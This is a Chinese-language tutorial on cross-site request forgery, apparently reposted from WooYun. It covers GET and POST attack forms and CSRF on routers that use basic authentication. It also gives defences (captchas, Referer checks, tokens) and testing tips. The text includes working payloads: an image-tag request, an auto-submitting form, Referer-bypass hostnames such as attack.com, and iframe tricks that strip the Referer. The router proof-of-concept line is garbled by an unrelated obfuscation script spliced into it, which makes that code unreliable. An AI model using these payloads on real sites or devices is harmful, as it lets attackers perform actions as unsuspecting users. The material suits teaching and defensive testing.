CSRF简单介绍及利用方法-跨站请求伪造
0x00 簡(jiǎn)要介紹
CSRF（Cross-site request forgery）跨站請(qǐng)求偽造，由于目標(biāo)站無token/referer限制，導(dǎo)致攻擊者可以用戶的身份完成操作達(dá)到各種目的。根據(jù)HTTP請(qǐng)求方式，CSRF利用方式可分為兩種。
0x01 GET類型的CSRF
這種類型的CSRF一般是由于程序員安全意識(shí)不強(qiáng)造成的。GET類型的CSRF利用非常簡(jiǎn)單，只需要一個(gè)HTTP請(qǐng)求，所以，一般會(huì)這樣利用：
<img src=http://wooyun.org/csrf.php?xx=11 />如下圖，在訪問含有這個(gè)img的頁面后，成功向http://wooyun.org/csrf.php?xx=11發(fā)出了一次HTTP請(qǐng)求。所以，如果將該網(wǎng)址替換為存在GET型CSRF的地址，就能完成攻擊了。
烏云相關(guān)案例：
http://wooyun.org/bugs/wooyun-2010-023783
http://wooyun.org/bugs/wooyun-2010-027258 (還未公開)
0x02 POST類型的CSRF
這種類型的CSRF危害沒有GET型的大，利用起來通常使用的是一個(gè)自動(dòng)提交的表單，如：
<form action=http://wooyun.org/csrf.php method=POST> <input type="text" name="xx" value="11" /> </form> <script> document.forms[0].submit(); </script>訪問該頁面后，表單會(huì)自動(dòng)提交，相當(dāng)于模擬用戶完成了一次POST操作。
烏云相關(guān)案例：
http://wooyun.org/bugs/wooyun-2010-026622
http://wooyun.org/bugs/wooyun-2010-022895
0x03 其他猥瑣流CSRF
過基礎(chǔ)認(rèn)證的CSRF(常用于路由器):
POC:
<img src=http://admin:admin@192.168.1.1 /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */ />加載該圖片后，路由器會(huì)給用戶一個(gè)合法的SESSION，就可以進(jìn)行下一步操作了。
烏云相關(guān)案例：
WooYun: TP-LINK路由器CSRF，可干許多事（影響使用默認(rèn)密碼或簡(jiǎn)單密碼用戶）
0x04 如何修復(fù)
針對(duì)CSRF的防范，有以下幾點(diǎn)要注意：
關(guān)鍵操作只接受POST請(qǐng)求
驗(yàn)證碼
CSRF攻擊的過程，往往是在用戶不知情的情況下構(gòu)造網(wǎng)絡(luò)請(qǐng)求。所以如果使用驗(yàn)證碼，那么每次操作都需要用戶進(jìn)行互動(dòng)，從而簡(jiǎn)單有效的防御了CSRF攻擊。
但是如果你在一個(gè)網(wǎng)站作出任何舉動(dòng)都要輸入驗(yàn)證碼會(huì)嚴(yán)重影響用戶體驗(yàn)，所以驗(yàn)證碼一般只出現(xiàn)在特殊操作里面，或者在注冊(cè)時(shí)候使用
檢測(cè)refer
常見的互聯(lián)網(wǎng)頁面與頁面之間是存在聯(lián)系的，比如你在www.baidu.com應(yīng)該是找不到通往www.google.com的鏈接的，再比如你在論壇留言，那么不管你留言后重定向到哪里去了，之前的那個(gè)網(wǎng)址一定會(huì)包含留言的輸入框，這個(gè)之前的網(wǎng)址就會(huì)保留在新頁面頭文件的Referer中
通過檢查Referer的值，我們就可以判斷這個(gè)請(qǐng)求是合法的還是非法的，但是問題出在服務(wù)器不是任何時(shí)候都能接受到Referer的值，所以Refere Check 一般用于監(jiān)控CSRF攻擊的發(fā)生，而不用來抵御攻擊。
Token
目前主流的做法是使用Token抵御CSRF攻擊。下面通過分析CSRF 攻擊來理解為什么Token能夠有效
CSRF攻擊要成功的條件在于攻擊者能夠預(yù)測(cè)所有的參數(shù)從而構(gòu)造出合法的請(qǐng)求。所以根據(jù)不可預(yù)測(cè)性原則，我們可以對(duì)參數(shù)進(jìn)行加密從而防止CSRF攻擊。
另一個(gè)更通用的做法是保持原有參數(shù)不變，另外添加一個(gè)參數(shù)Token，其值是隨機(jī)的。這樣攻擊者因?yàn)椴恢繲oken而無法構(gòu)造出合法的請(qǐng)求進(jìn)行攻擊。
Token 使用原則
Token要足夠隨機(jī)————只有這樣才算不可預(yù)測(cè) Token是一次性的，即每次請(qǐng)求成功后要更新Token————這樣可以增加攻擊難度，增加預(yù)測(cè)難度 Token要注意保密性————敏感操作使用post，防止Token出現(xiàn)在URL中0x05 測(cè)試CSRF中注意的問題
如果同域下存在xss的話，除了驗(yàn)證碼，其他的方式都無法防御這個(gè)問題。
有個(gè)程序后端可能是用REQUEST方式接受的，而程序默認(rèn)是POST請(qǐng)求，其實(shí)改成GET方式請(qǐng)求也可以發(fā)送過去，存在很嚴(yán)重的隱患。
當(dāng)只采用refer防御時(shí)，可以把請(qǐng)求中的修改成如下試試能否繞過：
原始refer：http://test.com/index.php
測(cè)試幾種方式（以下方式可以通過的話即可能存在問題）：
http://test.com.attack.com/index.php http://attack.com/test.com/index.php [空]refer為空構(gòu)造的方法：
由于瀏覽器特性，跨協(xié)議請(qǐng)求時(shí)不帶refer（Geckos內(nèi)核除外），比如https跳到http，如果https環(huán)境不好搭建的話，ftp其實(shí)也是可以的：）<iframe src="data:text/html,<script src=http://www.baidu.com></script>"> //IE不支持利用 xxx.src='javascript:"HTML代碼的方式"'; 可以去掉refer，IE8要帶。 <iframe id="aa" src=""></iframe> <script> document.getElementById("aa").src='javascript:"<html><body>wooyun.org<scr'+'ipt>eval(你想使用的代碼)</scr'+'ipt></body></html>"'; </script>http://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/
總結(jié)
以上是生活随笔為你收集整理的CSRF简单介绍及利用方法-跨站请求伪造的全部?jī)?nèi)容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 转：Delphi2010新发现-类的构造
- 下一篇： 监听文本框数据修改，特别是微信等客户端直